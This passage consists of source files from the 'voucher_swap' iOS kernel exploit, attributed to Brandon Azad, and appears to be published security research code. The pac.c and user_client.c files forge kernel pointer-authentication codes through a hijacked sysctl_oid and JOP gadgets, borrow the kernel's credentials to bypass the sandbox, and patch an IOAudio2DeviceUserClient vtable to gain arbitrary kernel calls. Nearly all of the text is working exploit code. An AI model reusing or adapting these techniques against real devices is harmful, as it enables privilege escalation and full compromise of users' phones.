uint64_t x5, uint64_t x6) { 38 | uint64_t arguments[7] = { 1, x1, x2, x3, x4, x5, x6 }; 39 | return stage1_kernel_call_7v(function, 7, arguments); 40 | } 41 | 42 | /* 43 | * stage1_init_kernel_pacxa_forging 44 | * 45 | * Description: 46 | * Initialize our stage 1 capability to forge PACIA and PACDA pointers. 47 | */ 48 | static void 49 | stage1_init_kernel_pacxa_forging() { 50 | // Get the authorized pointers to l2tp_domain_module_start() and l2tp_domain_module_stop(). 51 | // Because these values already contain the PACIZA code, we can call them with the stage 0 52 | // call primitive to start/stop the module. 53 | uint64_t paciza__l2tp_domain_module_start = kernel_read64( 54 | ADDRESS(paciza_pointer__l2tp_domain_module_start)); 55 | uint64_t paciza__l2tp_domain_module_stop = kernel_read64( 56 | ADDRESS(paciza_pointer__l2tp_domain_module_stop)); 57 | 58 | // Read out the original value of sysctl__net_ppp_l2tp__data. 59 | uint8_t sysctl__net_ppp_l2tp__data[SIZE(sysctl_oid)]; 60 | kernel_read(ADDRESS(sysctl__net_ppp_l2tp), sysctl__net_ppp_l2tp__data, SIZE(sysctl_oid)); 61 | 62 | // Create a fake sysctl_oid for sysctl_unregister_oid(). We craft this sysctl_oid such that 63 | // sysctl_unregister_oid() will execute the following instruction sequence: 64 | // 65 | // LDR X10, [X9,#0x30]! ; X10 = old_oidp->oid_handler 66 | // CBNZ X19, loc_FFFFFFF007EBD330 67 | // CBZ X10, loc_FFFFFFF007EBD330 68 | // MOV X19, #0 69 | // MOV X11, X9 ; X11 = &old_oidp->oid_handler 70 | // MOVK X11, #0x14EF,LSL#48 ; X11 = 14EF`&oid_handler 71 | // AUTIA X10, X11 ; X10 = AUTIA(handler, 14EF`&handler) 72 | // PACIZA X10 ; X10 = PACIZA(X10) 73 | // STR X10, [X9] ; old_oidp->oid_handler = X10 74 | // 75 | uint8_t fake_sysctl_oid[SIZE(sysctl_oid)]; 76 | memset(fake_sysctl_oid, 0xab, SIZE(sysctl_oid)); 77 | FIELD(fake_sysctl_oid, sysctl_oid, oid_parent, uint64_t) = ADDRESS(sysctl__net_ppp_l2tp) + OFFSET(sysctl_oid, oid_link); 78 | FIELD(fake_sysctl_oid, sysctl_oid, oid_link, uint64_t) = ADDRESS(sysctl__net_ppp_l2tp); 79 | FIELD(fake_sysctl_oid, sysctl_oid, oid_kind, uint32_t) = 0x400000; 80 | FIELD(fake_sysctl_oid, sysctl_oid, oid_handler, uint64_t) = ADDRESS(mov_x0_x4__br_x5); 81 | FIELD(fake_sysctl_oid, sysctl_oid, oid_version, uint32_t) = 1; 82 | FIELD(fake_sysctl_oid, sysctl_oid, oid_refcnt, uint32_t) = 0; 83 | 84 | // Overwrite sysctl__net_ppp_l2tp with our fake sysctl_oid. 85 | kernel_write(ADDRESS(sysctl__net_ppp_l2tp), fake_sysctl_oid, SIZE(sysctl_oid)); 86 | 87 | // Call l2tp_domain_module_stop() to trigger sysctl_unregister_oid() on our fake 88 | // sysctl_oid, which will PACIZA our pointer to the "mov x0, x4 ; br x5" gadget. 89 | __unused uint32_t ret; 90 | ret = stage1_kernel_call_7( 91 | paciza__l2tp_domain_module_stop, // PC 92 | 0, 0, 0, 0, 0, 0); // X1 - X6 93 | DEBUG_TRACE(1, "%s(): 0x%08x; l2tp_domain_inited = %d", 94 | "l2tp_domain_module_stop", ret, 95 | kernel_read32(ADDRESS(l2tp_domain_inited))); 96 | 97 | // Read back the PACIZA'd pointer to the 'mov x0, x4 ; br x5' gadget. This pointer will not 98 | // be exactly correct, since it PACIZA'd an AUTIA'd pointer we didn't sign. But we can use 99 | // this value to reconstruct the correct PACIZA'd pointer. 100 | uint64_t handler = kernel_read64( 101 | ADDRESS(sysctl__net_ppp_l2tp) + OFFSET(sysctl_oid, oid_handler)); 102 | paciza__mov_x0_x4__br_x5 = handler ^ (1uLL << (63 - 1)); 103 | DEBUG_TRACE(1, "PACIZA(%s) = 0x%016llx", "'mov x0, x4 ; br x5'", paciza__mov_x0_x4__br_x5); 104 | 105 | // Now write back the original sysctl_oid and call sysctl_unregister_oid() to clean it up. 106 | kernel_write(ADDRESS(sysctl__net_ppp_l2tp), sysctl__net_ppp_l2tp__data, SIZE(sysctl_oid)); 107 | ret = stage1_kernel_call_7( 108 | paciza__mov_x0_x4__br_x5, // PC 109 | 0, 0, 0, // X1 - X3 110 | ADDRESS(sysctl__net_ppp_l2tp), // X4 111 | ADDRESS(sysctl_unregister_oid), // X5 112 | 0); // X6 113 | DEBUG_TRACE(2, "%s(%016llx) = 0x%08x", "sysctl_unregister_oid", 114 | ADDRESS(sysctl__net_ppp_l2tp), ret); 115 | 116 | // And finally call l2tp_domain_module_start() to re-initialize the module. 117 | ret = stage1_kernel_call_7( 118 | paciza__l2tp_domain_module_start, // PC 119 | 0, 0, 0, 0, 0, 0); // X1 - X6 120 | DEBUG_TRACE(1, "%s(): 0x%08x; l2tp_domain_inited = %d", 121 | "l2tp_domain_module_start", ret, 122 | kernel_read32(ADDRESS(l2tp_domain_inited))); 123 | 124 | // Alright, so now we have an arbitrary call gadget! 125 | kernel_pacxa_buffer = stage1_get_kernel_buffer(); 126 | } 127 | 128 | // ---- Stage 2 ----------------------------------------------------------------------------------- 129 | 130 | /* 131 | * stage2_kernel_forge_pacxa 132 | * 133 | * Description: 134 | * Forge a PACIA or PACDA pointer using the kernel forging gadgets. 135 | */ 136 | static uint64_t 137 | stage2_kernel_forge_pacxa(uint64_t address, uint64_t context, bool instruction) { 138 | const size_t pacxa_buffer_size = SIZE(kernel_forge_pacxa_gadget_buffer); 139 | const size_t pacxa_buffer_offset = OFFSET(kernel_forge_pacxa_gadget_buffer, first_access); 140 | // Initialize the kernel_pacxa_buffer to be all zeros. 141 | uint8_t pacxa_buffer[pacxa_buffer_size - pacxa_buffer_offset]; 142 | memset(pacxa_buffer, 0, sizeof(pacxa_buffer)); 143 | kernel_write(kernel_pacxa_buffer, pacxa_buffer, sizeof(pacxa_buffer)); 144 | // The buffer address we pass to the gadget is offset from the part of that we initialize 145 | // (to save us some space). The result is stored at different offsets in the buffer 146 | // depending on whether the operation is PACIA or PACDA. 147 | uint64_t buffer_address = kernel_pacxa_buffer - pacxa_buffer_offset; 148 | uint64_t result_address = buffer_address; 149 | uint64_t pacxa_gadget; 150 | if (instruction) { 151 | result_address += OFFSET(kernel_forge_pacxa_gadget_buffer, pacia_result); 152 | pacxa_gadget = ADDRESS(kernel_forge_pacia_gadget); 153 | } else { 154 | result_address += OFFSET(kernel_forge_pacxa_gadget_buffer, pacda_result); 155 | pacxa_gadget = ADDRESS(kernel_forge_pacda_gadget); 156 | } 157 | // We need to set: 158 | // 159 | // x2 = buffer_address 160 | // x9 = address 161 | // x10 = context 162 | // 163 | // In order to do that we'll execute the following JOP sequence before jumping to the 164 | // gadget: 165 | // 166 | // mov x0, x4 ; br x5 167 | // mov x9, x0 ; br x1 168 | // mov x10, x3 ; br x6 169 | // 170 | __unused uint32_t ret; 171 | ret = stage1_kernel_call_7( 172 | paciza__mov_x0_x4__br_x5, // PC 173 | ADDRESS(mov_x10_x3__br_x6), // X1 174 | buffer_address, // X2 175 | context, // X3 176 | address, // X4 177 | ADDRESS(mov_x9_x0__br_x1), // X5 178 | pacxa_gadget); // X6 179 | DEBUG_TRACE(2, "%s_GADGET(): 0x%08x", (instruction ? "PACIA" : "PACDA"), ret); 180 | // Now recover the PACXA'd value. 181 | uint64_t pacxa = kernel_read64(result_address); 182 | return pacxa; 183 | } 184 | 185 | /* 186 | * xpaci 187 | * 188 | * Description: 189 | * Strip a PACIx code from a pointer. 190 | */ 191 | static uint64_t 192 | xpaci(uint64_t pointer) { 193 | asm("xpaci %[value]\n" : [value] "+r"(pointer)); 194 | return pointer; 195 | } 196 | 197 | /* 198 | * xpacd 199 | * 200 | * Description: 201 | * Strip a PACDx code from a pointer. 202 | */ 203 | static uint64_t 204 | xpacd(uint64_t pointer) { 205 | asm("xpacd %[value]\n" : [value] "+r"(pointer)); 206 | return pointer; 207 | } 208 | 209 | #endif // __arm64e__ 210 | 211 | // ---- API --------------------------------------------------------------------------------------- 212 | 213 | bool 214 | stage2_kernel_call_init() { 215 | #if __arm64e__ 216 | stage1_init_kernel_pacxa_forging(); 217 | #endif 218 | return true; 219 | } 220 | 221 | void 222 | stage2_kernel_call_deinit() { 223 | } 224 | 225 | uint32_t 226 | stage2_kernel_call_7v(uint64_t function, 227 | size_t argument_count, const uint64_t arguments[]) { 228 | uint64_t paciza_function = kernel_forge_pacia(function, 0); 229 | return stage1_kernel_call_7v(paciza_function, argument_count, arguments); 230 | } 231 | 232 | uint64_t 233 | kernel_forge_pacia(uint64_t pointer, uint64_t context) { 234 | #if __arm64e__ 235 | return stage2_kernel_forge_pacxa(pointer, context, true); 236 | #else 237 | return pointer; 238 | #endif 239 | } 240 | 241 | uint64_t 242 | kernel_forge_pacia_with_type(uint64_t pointer, uint64_t address, uint16_t type) { 243 | uint64_t context = ((uint64_t) type << 48) | (address & 0x0000ffffffffffff); 244 | return kernel_forge_pacia(pointer, context); 245 | } 246 | 247 | uint64_t 248 | kernel_forge_pacda(uint64_t pointer, uint64_t context) { 249 | #if __arm64e__ 250 | return stage2_kernel_forge_pacxa(pointer, context, false); 251 | #else 252 | return pointer; 253 | #endif 254 | } 255 | 256 | uint64_t 257 | kernel_xpaci(uint64_t pointer) { 258 | #if __arm64e__ 259 | return xpaci(pointer); 260 | #else 261 | return pointer; 262 | #endif 263 | } 264 | 265 | uint64_t 266 | kernel_xpacd(uint64_t pointer) { 267 | #if __arm64e__ 268 | return xpacd(pointer); 269 | #else 270 | return pointer; 271 | #endif 272 | } 273 | -------------------------------------------------------------------------------- /voucher_swap/voucher_swap/kernel_call/pac.h: -------------------------------------------------------------------------------- 1 | /* 2 | * kernel_call/pac.h 3 | * Brandon Azad 4 | */ 5 | #ifndef VOUCHER_SWAP__KERNEL_CALL__PAC_H_ 6 | #define VOUCHER_SWAP__KERNEL_CALL__PAC_H_ 7 | 8 | #include 9 | #include 10 | #include 11 | 12 | /* 13 | * stage2_kernel_call_init 14 | * 15 | * Description: 16 | * Initialize stage 2 of kernel function calling. 17 | * 18 | * Initializes: 19 | * stage2_kernel_call_7v() 20 | * kernel_forge_pacia() 21 | * kernel_forge_pacia_with_type() 22 | * kernel_forge_pacda() 23 | */ 24 | bool stage2_kernel_call_init(void); 25 | 26 | /* 27 | * stage2_kernel_call_deinit 28 | * 29 | * Description: 30 | * Deinitialize stage 2 of kernel function calling. 31 | */ 32 | void stage2_kernel_call_deinit(void); 33 | 34 | /* 35 | * stage2_kernel_call_7v 36 | * 37 | * Description: 38 | * Call a kernel function using our stage 2 execute primitive. 39 | * 40 | * Restrictions: 41 | * At most 7 arguments can be passed. 42 | * The return value is truncated to 32 bits. 43 | * At stage 2, only arguments X1 - X6 are controlled. 44 | */ 45 | uint32_t stage2_kernel_call_7v(uint64_t function, 46 | size_t argument_count, const uint64_t arguments[]); 47 | 48 | #endif 49 | -------------------------------------------------------------------------------- /voucher_swap/voucher_swap/kernel_call/user_client.c: -------------------------------------------------------------------------------- 1 | /* 2 | * kernel_call/user_client.c 3 | * Brandon Azad 4 | */ 5 | #include "kernel_call/user_client.h" 6 | 7 | #include 8 | 9 | #include "IOKitLib.h" 10 | #include "kernel_call.h" 11 | #include "kernel_call/kc_parameters.h" 12 | #include "kernel_call/pac.h" 13 | #include "kernel_memory.h" 14 | #include "log.h" 15 | #include "mach_vm.h" 16 | #include "parameters.h" 17 | 18 | // ---- Global variables -------------------------------------------------------------------------- 19 | 20 | // The connection to the user client. 21 | static io_connect_t connection; 22 | 23 | // The address of the user client. 24 | static uint64_t user_client; 25 | 26 | // The address of the IOExternalTrap. 27 | static uint64_t trap; 28 | 29 | // The size of our kernel buffer. 30 | static const size_t kernel_buffer_size = 0x4000; 31 | 32 | // The address of our kernel buffer. 33 | static uint64_t kernel_buffer; 34 | 35 | // The maximum size of the vtable. 36 | static const size_t max_vtable_size = 0x1000; 37 | 38 | // The user client's original vtable pointer. 39 | static uint64_t original_vtable; 40 | 41 | // ---- Stage 1 ----------------------------------------------------------------------------------- 42 | 43 | /* 44 | * kernel_get_proc_for_task 45 | * 46 | * Description: 47 | * Get the proc struct for a task. 48 | */ 49 | static uint64_t 50 | kernel_get_proc_for_task(uint64_t task) { 51 | return kernel_read64(task + OFFSET(task, bsd_info)); 52 | } 53 | 54 | /* 55 | * assume_kernel_credentials 56 | * 57 | * Description: 58 | * Set this process's credentials to the kernel's credentials so that we can bypass sandbox 59 | * checks. 60 | */ 61 | static void 62 | assume_kernel_credentials(uint64_t *ucred_field, uint64_t *ucred) { 63 | uint64_t proc_self = kernel_get_proc_for_task(current_task); 64 | uint64_t kernel_proc = kernel_get_proc_for_task(kernel_task); 65 | uint64_t proc_self_ucred_field = proc_self + OFFSET(proc, p_ucred); 66 | uint64_t kernel_proc_ucred_field = kernel_proc + OFFSET(proc, p_ucred); 67 | uint64_t proc_self_ucred = kernel_read64(proc_self_ucred_field); 68 | uint64_t kernel_proc_ucred = kernel_read64(kernel_proc_ucred_field); 69 | kernel_write64(proc_self_ucred_field, kernel_proc_ucred); 70 | *ucred_field = proc_self_ucred_field; 71 | *ucred = proc_self_ucred; 72 | } 73 | 74 | /* 75 | * restore_credentials 76 | * 77 | * Description: 78 | * Restore this process's credentials after calling assume_kernel_credentials(). 79 | */ 80 | static void 81 | restore_credentials(uint64_t ucred_field, uint64_t ucred) { 82 | kernel_write64(ucred_field, ucred); 83 | } 84 | 85 | /* 86 | * stage0_create_user_client 87 | * 88 | * Description: 89 | * Create a connection to an IOAudio2DeviceUserClient object. 90 | */ 91 | static bool 92 | stage0_create_user_client() { 93 | bool success = false; 94 | // First get a handle to some IOAudio2Device driver. 95 | io_iterator_t iter; 96 | kern_return_t kr = IOServiceGetMatchingServices( 97 | kIOMasterPortDefault, 98 | IOServiceMatching("IOAudio2Device"), 99 | &iter); 100 | if (iter == MACH_PORT_NULL) { 101 | ERROR("could not find services matching %s", "IOAudio2Device"); 102 | goto fail_0; 103 | } 104 | // Assume the kernel's credentials in order to look up the user client. Otherwise we'd be 105 | // denied with a sandbox error. 106 | uint64_t ucred_field, ucred; 107 | assume_kernel_credentials(&ucred_field, &ucred); 108 | // Now try to open each service in turn. 109 | for (;;) { 110 | // Get the service. 111 | mach_port_t IOAudio2Device = IOIteratorNext(iter); 112 | if (IOAudio2Device == MACH_PORT_NULL) { 113 | ERROR("could not open any %s", "IOAudio2Device"); 114 | break; 115 | } 116 | // Now open a connection to it. 117 | kr = IOServiceOpen( 118 | IOAudio2Device, 119 | mach_task_self(), 120 | 0, 121 | &connection); 122 | IOObjectRelease(IOAudio2Device); 123 | if (kr == KERN_SUCCESS) { 124 | success = true; 125 | break; 126 | } 127 | DEBUG_TRACE(2, "%s returned 0x%x: %s", "IOServiceOpen", kr, mach_error_string(kr)); 128 | DEBUG_TRACE(2, "could not open %s", "IOAudio2DeviceUserClient"); 129 | } 130 | // Restore the credentials. 131 | restore_credentials(ucred_field, ucred); 132 | fail_1: 133 | IOObjectRelease(iter); 134 | fail_0: 135 | return success; 136 | } 137 | 138 | /* 139 | * stage0_find_user_client_trap 140 | * 141 | * Description: 142 | * Get the address of the IOAudio2DeviceUserClient and its IOExternalTrap. 143 | */ 144 | static void 145 | stage0_find_user_client_trap() { 146 | assert(MACH_PORT_VALID(connection)); 147 | // Get the address of the port representing the IOAudio2DeviceUserClient. 148 | uint64_t user_client_port; 149 | bool ok = kernel_ipc_port_lookup(current_task, connection, &user_client_port, NULL); 150 | assert(ok); 151 | // Get the address of the IOAudio2DeviceUserClient. 152 | user_client = kernel_read64(user_client_port + OFFSET(ipc_port, ip_kobject)); 153 | // Get the address of the IOExternalTrap. 154 | trap = kernel_read64(user_client + OFFSET(IOAudio2DeviceUserClient, traps)); 155 | DEBUG_TRACE(2, "%s is at 0x%016llx", "IOExternalTrap", trap); 156 | } 157 | 158 | /* 159 | * stage0_allocate_kernel_buffer 160 | * 161 | * Description: 162 | * Allocate a buffer in kernel memory. 163 | */ 164 | static bool 165 | stage0_allocate_kernel_buffer() { 166 | kern_return_t kr = mach_vm_allocate(kernel_task_port, &kernel_buffer, 167 | kernel_buffer_size, VM_FLAGS_ANYWHERE); 168 | if (kr != KERN_SUCCESS) { 169 | ERROR("%s returned %d: %s", "mach_vm_allocate", kr, mach_error_string(kr)); 170 | ERROR("could not allocate kernel buffer"); 171 | return false; 172 | } 173 | DEBUG_TRACE(1, "allocated kernel buffer at 0x%016llx", kernel_buffer); 174 | return true; 175 | } 176 | 177 | // ---- Stage 3 ----------------------------------------------------------------------------------- 178 | 179 | /* 180 | * kernel_read_vtable_method 181 | * 182 | * Description: 183 | * Read the virtual method pointer at the specified index in the vtable. 184 | */ 185 | static uint64_t 186 | kernel_read_vtable_method(uint64_t vtable, size_t index) { 187 | uint64_t vmethod_address = vtable + index * sizeof(uint64_t); 188 | return kernel_read64(vmethod_address); 189 | } 190 | 191 | /* 192 | * stage2_copyout_user_client_vtable 193 | * 194 | * Description: 195 | * Copy out the user client's vtable to userspace. The returned array must be freed when no 196 | * longer needed. 197 | */ 198 | static uint64_t * 199 | stage2_copyout_user_client_vtable() { 200 | // Get the address of the vtable. 201 | original_vtable = kernel_read64(user_client); 202 | uint64_t original_vtable_xpac = kernel_xpacd(original_vtable); 203 | // Read the contents of the vtable to local buffer. 204 | uint64_t *vtable_contents = malloc(max_vtable_size); 205 | assert(vtable_contents != NULL); 206 | kernel_read(original_vtable_xpac, vtable_contents, max_vtable_size); 207 | return vtable_contents; 208 | } 209 | 210 | /* 211 | * stage2_patch_user_client_vtable 212 | * 213 | * Description: 214 | * Patch the contents of the user client's vtable in preparation for stage 3. 215 | */ 216 | static size_t 217 | stage2_patch_user_client_vtable(uint64_t *vtable) { 218 | // Replace the original vtable's IOUserClient::getTargetAndTrapForIndex() method with the 219 | // original version (which calls IOUserClient::getExternalTrapForIndex()). 220 | uint64_t IOUserClient__getTargetAndTrapForIndex = kernel_read_vtable_method( 221 | ADDRESS(IOUserClient__vtable), 222 | VTABLE_INDEX(IOUserClient, getTargetAndTrapForIndex)); 223 | vtable[VTABLE_INDEX(IOUserClient, getTargetAndTrapForIndex)] 224 | = IOUserClient__getTargetAndTrapForIndex; 225 | // Replace the original vtable's IOUserClient::getExternalTrapForIndex() method with 226 | // IORegistryEntry::getRegistryEntryID(). 227 | vtable[VTABLE_INDEX(IOUserClient, getExternalTrapForIndex)] = 228 | ADDRESS(IORegistryEntry__getRegistryEntryID); 229 | // Forge the pacia pointers to the virtual methods. 230 | size_t count = 0; 231 | for (; count < max_vtable_size / sizeof(*vtable); count++) { 232 | uint64_t vmethod = vtable[count]; 233 | if (vmethod == 0) { 234 | break; 235 | } 236 | #if __arm64e__ 237 | assert(count < VTABLE_PAC_CODES(IOAudio2DeviceUserClient).count); 238 | vmethod = kernel_xpaci(vmethod); 239 | uint64_t vmethod_address = kernel_buffer + count * sizeof(*vtable); 240 | vtable[count] = kernel_forge_pacia_with_type(vmethod, vmethod_address, 241 | VTABLE_PAC_CODES(IOAudio2DeviceUserClient).codes[count]); 242 | #endif // __arm64e__ 243 | } 244 | return count; 245 | } 246 | 247 | /* 248 | * stage2_patch_user_client 249 | * 250 | * Description: 251 | * Patch the user client in preparation for stage 3. 252 | */ 253 | static void 254 | stage2_patch_user_client(uint64_t *vtable, size_t count) { 255 | // Write the vtable to the kernel buffer. 256 | kernel_write(kernel_buffer, vtable, count * sizeof(*vtable)); 257 | // Overwrite the user client's registry entry ID to point to the IOExternalTrap. 258 | uint64_t reserved_field = user_client + OFFSET(IORegistryEntry, reserved); 259 | uint64_t reserved = kernel_read64(reserved_field); 260 | uint64_t id_field = reserved + OFFSET(IORegistryEntry__ExpansionData, fRegistryEntryID); 261 | kernel_write64(id_field, trap); 262 | // Forge the pacdza pointer to the vtable. 263 | uint64_t vtable_pointer = kernel_forge_pacda(kernel_buffer, 0); 264 | // Overwrite the user client's vtable pointer with the forged pointer to our fake vtable. 265 | kernel_write64(user_client, vtable_pointer); 266 | } 267 | 268 | /* 269 | * stage2_unpatch_user_client 270 | * 271 | * Description: 272 | * Undo the patches to the user client. 273 | */ 274 | static void 275 | stage2_unpatch_user_client() { 276 | // Write the original vtable pointer back to the user client. 277 | kernel_write64(user_client, original_vtable); 278 | } 279 | 280 | // ---- API --------------------------------------------------------------------------------------- 281 | 282 | bool 283 | stage1_kernel_call_init() { 284 | // Initialize the parameters. We do this first to fail early. 285 | bool ok = kernel_call_parameters_init(); 286 | if (!ok) { 287 | return false; 288 | } 289 | // Create the IOAudio2DeviceUserClient. 290 | ok = stage0_create_user_client(); 291 | if (!ok) { 292 | ERROR("could not create %s", "IOAudio2DeviceUserClient"); 293 | return false; 294 | } 295 | // Find the IOAudio2DeviceUserClient's IOExternalTrap. 296 | stage0_find_user_client_trap(); 297 | // Allocate the kernel buffer. 298 | ok = stage0_allocate_kernel_buffer(); 299 | if (!ok) { 300 | return false; 301 | } 302 | return true; 303 | } 304 | 305 | void 306 | stage1_kernel_call_deinit() { 307 | if (trap != 0) { 308 | // Zero out the trap. 309 | uint8_t trap_data[SIZE(IOExternalTrap)]; 310 | memset(trap_data, 0, SIZE(IOExternalTrap)); 311 | kernel_write(trap, trap_data, SIZE(IOExternalTrap)); 312 | trap = 0; 313 | } 314 | if (kernel_buffer != 0) { 315 | // Deallocate our kernel buffer. 316 | mach_vm_deallocate(mach_task_self(), kernel_buffer, kernel_buffer_size); 317 | kernel_buffer = 0; 318 | } 319 | if (MACH_PORT_VALID(connection)) { 320 | // Close the connection. 321 | IOServiceClose(connection); 322 | connection = MACH_PORT_NULL; 323 | } 324 | } 325 | 326 | uint64_t 327 | stage1_get_kernel_buffer() { 328 | assert(kernel_buffer_size >= 0x2000); 329 | return kernel_buffer + kernel_buffer_size - 0x1000; 330 | } 331 | 332 | uint32_t 333 | stage1_kernel_call_7v(uint64_t function, size_t argument_count, const uint64_t arguments[]) { 334 | assert(function != 0); 335 | assert(argument_count <= 7); 336 | assert(argument_count == 0 || arguments[0] != 0); 337 | assert(MACH_PORT_VALID(connection) && trap != 0); 338 | // Get exactly 7 arguments. Initialize args[0] to 1 in case there are no arguments. 339 | uint64_t args[7] = { 1 }; 340 | for (size_t i = 0; i < argument_count && i < 7; i++) { 341 | args[i] = arguments[i]; 342 | } 343 | // Initialize the IOExternalTrap for this call. 344 | uint8_t trap_data[SIZE(IOExternalTrap)]; 345 | FIELD(trap_data, IOExternalTrap, object, uint64_t) = args[0]; 346 | FIELD(trap_data, IOExternalTrap, function, uint64_t) = function; 347 | FIELD(trap_data, IOExternalTrap, offset, uint64_t) = 0; 348 | kernel_write(trap, trap_data, SIZE(IOExternalTrap)); 349 | // Perform the function call. 350 | uint32_t result = IOConnectTrap6(connection, 0, 351 | args[1], args[2], args[3], args[4], args[5], args[6]); 352 | return result; 353 | } 354 | 355 | bool 356 | stage3_kernel_call_init() { 357 | uint64_t *vtable = stage2_copyout_user_client_vtable(); 358 | size_t count = stage2_patch_user_client_vtable(vtable); 359 | stage2_patch_user_client(vtable, count); 360 | free(vtable); 361 | return true; 362 | } 363 | 364 | void 365 | stage3_kernel_call_deinit() { 366 | if (original_vtable != 0) { 367 | stage2_unpatch_user_client(); 368 | original_vtable = 0; 369 | } 370 | } 371 | 372 | uint32_t 373 | kernel_call_7v(uint64_t function, size_t argument_count, const uint64_t arguments[]) { 374 | return stage2_kernel_call_7v(function, argument_count, arguments); 375 | } 376 | -------------------------------------------------------------------------------- /voucher_swap/voucher_swap/kernel_call/user_client.h: -------------------------------------------------------------------------------- 1 | /* 2 | * kernel_call/user_client.h 3 | * Brandon Azad 4 | */ 5 | #ifndef VOUCHER_SWAP__KERNEL_CALL__USER_CLIENT_H_ 6 | #define VOUCHER_SWAP__KERNEL_CALL__USER_CLIENT_H_ 7 | 8 | #include 9 | #include 10 | #include 11 | 12 | /* 13 | * stage1_kernel_call_init 14 | * 15 | * Description: 16 | * Initialize stage 1 of kernel function calling. 17 | * 18 | * Initializes: 19 | * kernel_call_parameters_init() 20 | * stage1_kernel_call_7v() 21 | */ 22 | bool stage1_kernel_call_init(void); 23 | 24 | /* 25 | * stage1_kernel_call_deinit 26 | * 27 | * Description: 28 | * Deinitialize stage 1 of kernel function calling. 29 | */ 30 | void stage1_kernel_call_deinit(void); 31 | 32 | /* 33 | * stage1_get_kernel_buffer 34 | * 35 | * Description: 36 | * Get the address of a 0x1000-byte scratch space in kernel memory that can be used by other 37 | * stages. 38 | */ 39 | uint64_t stage1_get_kernel_buffer(void); 40 | 41 | /* 42 | * stage1_kernel_call_7v 43 | * 44 | * Description: 45 | * Call a kernel function using our stage 1 execute primitive. 46 | * 47 | * Restrictions: 48 | * At most 7 arguments can be passed. 49 | * The return value is truncated to 32 bits. 50 | * At stage 1, only arguments X1 - X6 are controlled. 51 | * The function pointer must already have a PAC signature. 52 | */ 53 | uint32_t stage1_kernel_call_7v(uint64_t function, 54 | size_t argument_count, const uint64_t arguments[]); 55 | 56 | /* 57 | * stage3_kernel_call_init 58 | * 59 | * Description: 60 | * Initialize stage 3 of kernel function calling. 61 | * 62 | * Initializes: 63 | * kernel_call_7v() 64 | */ 65 | bool stage3_kernel_call_init(void); 66 | 67 | /* 68 | * stage3_kernel_call_deinit 69 | * 70 | * Description: 71 | * Deinitialize stage 3 of kernel function calling. 72 | */ 73 | void stage3_kernel_call_deinit(void); 74 | 75 | #endif 76 | -------------------------------------------------------------------------------- /voucher_swap/voucher_swap/kernel_memory.c: -------------------------------------------------------------------------------- 1 | /* 2 | * kernel_memory.c 3 | * Brandon Azad 4 | */ 5 | #define KERNEL_MEMORY_EXTERN 6 | #include "kernel_memory.h" 7 | 8 | #include "log.h" 9 | #include "mach_vm.h" 10 | #include "parameters.h" 11 | 12 | // ---- Kernel memory functions ------------------------------------------------------------------- 13 | 14 | bool 15 | kernel_read(uint64_t address, void *data, size_t size) { 16 | mach_vm_size_t size_out; 17 | kern_return_t kr = mach_vm_read_overwrite(kernel_task_port, address, 18 | size, (mach_vm_address_t) data, &size_out); 19 | if (kr != KERN_SUCCESS) { 20 | ERROR("%s returned %d: %s", "mach_vm_read_overwrite", kr, mach_error_string(kr)); 21 | ERROR("could not %s address 0x%016llx", "read", address); 22 | return false; 23 | } 24 | if (size_out != size) { 25 | ERROR("partial read of address 0x%016llx: %llu of %zu bytes", 26 | address, size_out, size); 27 | return false; 28 | } 29 | return true; 30 | } 31 | 32 | bool 33 | kernel_write(uint64_t address, const void *data, size_t size) { 34 | kern_return_t kr = mach_vm_write(kernel_task_port, address, 35 | (mach_vm_address_t) data, (mach_msg_size_t) size); 36 | if (kr != KERN_SUCCESS) { 37 | ERROR("%s returned %d: %s", "mach_vm_write", kr, mach_error_string(kr)); 38 | ERROR("could not %s address 0x%016llx", "write", address); 39 | return false; 40 | } 41 | return true; 42 | } 43 | 44 | uint8_t 45 | kernel_read8(uint64_t address) { 46 | uint8_t value; 47 | bool ok = kernel_read(address, &value, sizeof(value)); 48 | if (!ok) { 49 | return -1; 50 | } 51 | return value; 52 | } 53 | 54 | uint16_t 55 | kernel_read16(uint64_t address) { 56 | uint16_t value; 57 | bool ok = kernel_read(address, &value, sizeof(value)); 58 | if (!ok) { 59 | return -1; 60 | } 61 | return value; 62 | } 63 | 64 | uint32_t 65 | kernel_read32(uint64_t address) { 66 | uint32_t value; 67 | bool ok = kernel_read(address, &value, sizeof(value)); 68 | if (!ok) { 69 | return -1; 70 | } 71 | return value; 72 | } 73 | 74 | uint64_t 75 | kernel_read64(uint64_t address) { 76 | uint64_t value; 77 | bool ok = kernel_read(address, &value, sizeof(value)); 78 | if (!ok) { 79 | return -1; 80 | } 81 | return value; 82 | } 83 | 84 | bool 85 | kernel_write8(uint64_t address, uint8_t value) { 86 | return kernel_write(address, &value, sizeof(value)); 87 | } 88 | 89 | bool 90 | kernel_write16(uint64_t address, uint16_t value) { 91 | return kernel_write(address, &value, sizeof(value)); 92 | } 93 | 94 | bool 95 | kernel_write32(uint64_t address, uint32_t value) { 96 | return kernel_write(address, &value, sizeof(value)); 97 | } 98 | 99 | bool 100 | kernel_write64(uint64_t address, uint64_t value) { 101 | return kernel_write(address, &value, sizeof(value)); 102 | } 103 | 104 | // ---- Kernel utility functions ------------------------------------------------------------------ 105 | 106 | bool 107 | kernel_ipc_port_lookup(uint64_t task, mach_port_name_t port_name, 108 | uint64_t *ipc_port, uint64_t *ipc_entry) { 109 | // Get the task's ipc_space. 110 | uint64_t itk_space = kernel_read64(task + OFFSET(task, itk_space)); 111 | // Get the size of the table. 112 | uint32_t is_table_size = kernel_read32(itk_space + OFFSET(ipc_space, is_table_size)); 113 | // Get the index of the port and check that it is in-bounds. 114 | uint32_t port_index = MACH_PORT_INDEX(port_name); 115 | if (port_index >= is_table_size) { 116 | return false; 117 | } 118 | // Get the space's is_table and compute the address of this port's entry. 119 | uint64_t is_table = kernel_read64(itk_space + OFFSET(ipc_space, is_table)); 120 | uint64_t entry = is_table + port_index * SIZE(ipc_entry); 121 | if (ipc_entry != NULL) { 122 | *ipc_entry = entry; 123 | } 124 | // Get the address of the port if requested. 125 | if (ipc_port != NULL) { 126 | *ipc_port = kernel_read64(entry + OFFSET(ipc_entry, ie_object)); 127 | } 128 | return true; 129 | } 130 | -------------------------------------------------------------------------------- /voucher_swap/voucher_swap/kernel_memory.h: -------------------------------------------------------------------------------- 1 | /* 2 | * kernel_memory.h 3 | * Brandon Azad 4 | */ 5 | #ifndef VOUCHER_SWAP__KERNEL_MEMORY_H_ 6 | #define VOUCHER_SWAP__KERNEL_MEMORY_H_ 7 | 8 | #include 9 | #include 10 | #include 11 | 